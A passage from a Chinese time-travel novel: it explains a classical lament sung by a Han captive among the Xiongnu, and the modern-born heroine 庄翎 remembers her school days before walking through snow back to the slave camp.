大意是:小人自由自在,享受功名利禄,君子落于罗网,陷于苦厄。我出生的时候没有这么多的劳役与兵役,而我出生之后,遭遇了种种灾难,宁愿长睡不醒,不用说、不用见、不用听! 爰唱这首诗歌更多的是在表达他自己内心的哀苦,他因为汉朝和匈奴之间的交锋被被匈奴人俘虏到塞外,一直遭受着匈奴人的驱役与折磨。 这样的事情想必是突然发生的,在匈奴的苦难长得像是没有尽头,谁也说不清什么时候才能结束。 爰为此感到苦闷、折磨、痛恨。 他觉得与其遭受乱世,还不如从此就长睡不醒,不用说话去应对,不用看见这样的乱象,不用听到人们哀哭或是争吵的声音。 从内心发出来的歌声嘶哑悠长,透人肺腑,听着听着,有那么一瞬间,庄翎想起了自己在现代的生活。 落着粉笔灰的绿色黑板,拎着早餐赶早课的同学,还有自己桌子上那些没有看完的书…… 想到这些眼眶一酸,庄翎不忍再听下去,她站起身来,迈开脚步,就在风雪之中往奴隶营走去。 一起干活的人大多数已经在匈奴监工离开之后回去了,只有庄翎为等待爰的课程,多留了一会儿,是以现在四周没有别的汉人。 一路上,只有庄翎一人长行,白雪越发多地洒落于她头上肩上,也渐渐将她身影遮没。